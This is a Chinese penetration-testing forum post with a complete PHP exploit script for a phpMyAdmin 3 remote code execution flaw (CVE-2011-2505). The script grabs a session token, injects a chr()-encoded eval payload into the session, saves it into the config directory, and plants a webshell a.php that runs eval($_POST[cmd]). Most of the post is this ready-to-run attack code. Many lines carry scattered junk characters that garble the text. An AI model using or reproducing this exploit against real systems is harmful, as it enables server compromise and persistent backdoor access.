中国网络渗透测试联盟

标题: phpadmin3 remote code execute php版本exploit [打印本页]

作者: admin    时间: 2013-2-21 09:13
标题: phpadmin3 remote code execute php版本exploit
最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。- u6 Z# T3 T+ x
5 s% L& n" J. G+ ^
昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。
0 y, w4 }5 r$ H& b$ f" _
' S3 R" A1 p) ~* j5 }$ p! A  t- |- m首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:
* m. u$ A+ O( `$ F0 I一是session.auto_start = 1;
/ G, M8 W* c( J* C& w二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。4 M) P0 U1 ~8 [! Q: [
当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。2 {: D5 B- L+ {
1 }# y" j% M0 u# M
在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。6 O. k* H- `! K( I- Q2 v, z- c

# o* Z) s. O$ ]0 `. C于是写了这个php版本的exp,代码如下:
$ T) G8 q0 U' b9 Z- Y$ Z+ o0 a
; M$ t/ {  @9 N3 Q, }#!/usr/bin/php
( z1 I- W# S6 ~/ f' ^1 X9 c<?php1 N8 I" U+ q; o' w9 V: d: T
print_r('' Q! ~$ ]7 G2 ?/ J: O4 o$ ~
+---------------------------------------------------------------------------+9 D" n. B9 f& f7 T- m6 d) _
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]7 S. j2 t7 N( p( f* V) Q  n
by oldjun(www.oldjun.com)
+ M4 y, h9 H* Y  fwelcome to www.t00ls.net4 n  D3 t: w* s9 d% D
mail: oldjun@gmail.com
/ D: R9 ^1 [  E  S/ _Assigned CVE id: CVE-2011-2505
, ~; z( Q  h4 q4 X! f: K# X+---------------------------------------------------------------------------+
$ b* W) f( h% M$ p% F7 N7 A2 B');8 N/ |4 z$ n/ |5 m: L# K4 u

- W3 i' q: _" [  E& K- T" p0 }/**
- i  x$ x$ O! O# t1 Z * working when the directory:"config" exists and is writeable.
( Q8 Y4 I" N* x) i**/' `& h+ C# m, K' E1 t$ F0 x, [
8 l  ~4 i" p& `8 s  s
if ($argc < 3) {! X/ s& S- B' m. B7 [+ o& I9 V
    print_r('2 a+ s# C  m' R# D2 _4 e5 D
+---------------------------------------------------------------------------+
+ f2 p3 T- H( A+ RUsage: php '.$argv[0].' host path, G# R3 r, ?" e; Q# i8 ?
host:      target server (ip/hostname)
* V1 X$ K: k0 y$ M+ z1 ?path:      path to pma3
# w$ c! J% b, \- f  uExample:7 X' s  v, i" m
php '.$argv[0].' localhost /pma/, X8 L& n- _% u; i# W8 M7 G4 t
+---------------------------------------------------------------------------+% |- C& M1 m* y/ q9 A0 F
');
  J( v# z' N3 n    exit;
# B& x6 i( r" _}) K$ ~6 @. Y' d8 }/ L4 v, ~
8 A0 A6 M. W; O
$host = $argv[1];4 k6 \7 j8 K. k
$path = $argv[2];
8 [* t2 Y% |, C  G( J/ Z) E7 P5 q3 _! q
/**# l/ {7 {; e9 l6 P( R8 V& q
* Try to determine if the directory:"config" exists
( S, |& y% l: e3 T**/$ F. M4 L, u1 a, t1 T1 f; B+ J4 A, k
echo "[+] Try to determine if the directory:config exists....\n";0 j8 ?% B1 ^! P. l
$returnstr=php_request('config/');
5 v2 D4 ?! G' q" y6 Iif(strpos($returnstr,'404')){
) g: Q6 N! x" F& n& B    exit("[-] Exploit Failed! The directory:config do not exists!\n");
. D4 S3 ]' p) x& e2 f5 B}
& C" }; I* W# Q, F" l# P/ Y) j5 s, I% I! Y4 Z/ V
/**
" p) f) \; D6 ^/ M, V# O- b * Try to get token and sessionid
% G, k/ v; F* b) Y**/
( `/ z  X1 S3 k9 Iecho "[+] Try to get token and sessionid....\n";
6 }- S; C  |  n$result=php_request('index.php');
. A0 O0 h+ U/ H5 m. N  O1 [7 mpreg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
0 p! r7 l2 w* c0 o$token=$resp[3];, a/ ]/ Q4 G/ ?" b
$sessionid=$resp[1];
1 @# k0 g; o7 K5 k; u) p8 D/ hif($token && $sessionid){
9 Z' c8 u6 I0 v# N    echo "[+] tokentoken\n";
  j' x1 O1 |4 i' B( |, P" Y( ]    echo "[+] Session IDsessionid\n";$ c* z1 o% f8 ~- ?  x0 C+ S8 ], Y
}else{& |3 Q) r1 e4 }. ?( B
    exit("[-] Can't get token and Session ID,Exploit Failed!\n");
1 N) h' ~: h8 P}
9 n  Z6 z. d! x: b6 Q# x5 b% g. y- w  B9 m. L* T; }2 e
/**
8 G- I, z. }" k' \+ |5 I4 H+ y) J * Try to insert shell into session3 @# x, x' B9 r! h7 }2 w
**/( ]" [) c: g" D/ ~- G) X% F) g7 t# \
echo "[+] Try to insert shell into session....\n";
* V: A; `8 \1 s5 F5 m# Y1 yphp_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
' N0 d; x. {: F5 Q/ }2 ~3 \* Z, M3 V5 O  P# g6 J# D
/**
# L! }+ A1 o4 u* O" T% q, j1 ] * Try to create webshell
# z+ M( n+ R9 p  W9 m: x, V**/
& i$ ]7 N2 t# kecho "[+] Try to create webshell....\n";9 |% e+ R3 B3 a  E! h; ?# G$ U
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
- H* M  Y, e6 L: w1 d/**. @4 o! O# e. s0 Q. e
* Try to check if the webshell was created successfully
5 M. Z& z" y. d" A7 [! K**/
3 E# m# Y- T; T" K- {# gecho "[+] Try to check if the webshell was created successfully....\n";# z4 k- e2 O0 _0 D* r% T
$content=php_request('config/config.inc.php');
5 C- e) ~* S+ j/ R( d; }+ B& D' R: V4 \if(strpos($content,'t00ls')){
0 X8 ^" w: l1 D; S0 i  x3 E    echo "[+] Congratulations! Expoilt successfully....\n";/ }( O. k+ g% z' D
    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
' n3 l# m, E: e  s. \' d$ T. ?( q}else{
7 C0 `" ~$ [) V- [. p+ l    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
/ Z; l1 |1 p  \$ b/ X( [}4 l8 l0 Y% |' n

# E% g/ X2 h" P0 Q0 }! |' Yfunction php_request($url,$data='',$cookie=''){6 c5 ~5 m3 ~7 B, o+ A
    global  $host, $path;
' Z$ V: q; q, L* Z) U   
! h) n, P, T, X    $method=$data?'POST':'GET';
) I  K: e, u3 r/ s! V    3 I; |! h: n+ ?- v# w
    $packet = $method." ".$path.$url." HTTP/1.1\r\n";5 `; p! R7 W$ T! v6 \0 Q# e! ]
    $packet .= "Accept: */*\r\n";  u& t" a2 q$ f, e
    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
# G8 s+ Y/ i0 [4 S7 k8 Z    $packet .= "Host: $host\r\n";
: Z6 P+ g4 a5 d& c    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";  Y* @5 R: l2 |: F! _
    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
& i; H2 F6 t1 `8 F    $packet .= $cookie?"Cookie: $cookie\r\n":"";
0 S  g) R% D" F" Y  ~' V6 ?# l    $packet .= "Connection: Close\r\n\r\n";
" T8 @% |" l2 X; z8 e$ ~    $packet .= $data?$data:"";6 S, C6 ]9 p. V4 I

* {+ {6 e9 i$ z: K' Z8 i* E    $fp = fsockopen(gethostbyname($host), 80);1 E2 E- W7 S0 J; u
    if (!$fp) {
& K. M4 Y/ g. y- s- @& k% V    echo 'No response from '.$host; die;2 @) R8 N+ m% t6 W7 Q% l( O5 F( T
    }! [; _8 |3 i; A+ w8 W7 Z
    fputs($fp, $packet);6 H$ P7 G* G& g! d& h& J# q

: Z5 ]& t  f9 \- }1 `/ N0 Z% D& v. n    $resp = '';& q3 q  t, }& m

2 C' {% O* v: U; u    while ($fp && !feof($fp))  I- q/ b8 J9 b3 j2 Y5 Z
        $resp .= fread($fp, 1024);
- x4 K! ~2 b8 C0 O/ K
0 J4 Y% G9 s4 X6 ]    return $resp;/ d7 D5 j' u# i3 m
}
5 [* \: o6 q2 W  j& W3 s) `8 a$ X   
+ E  |6 I- p/ q?> ; f% M1 g8 Z, E4 P
.




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2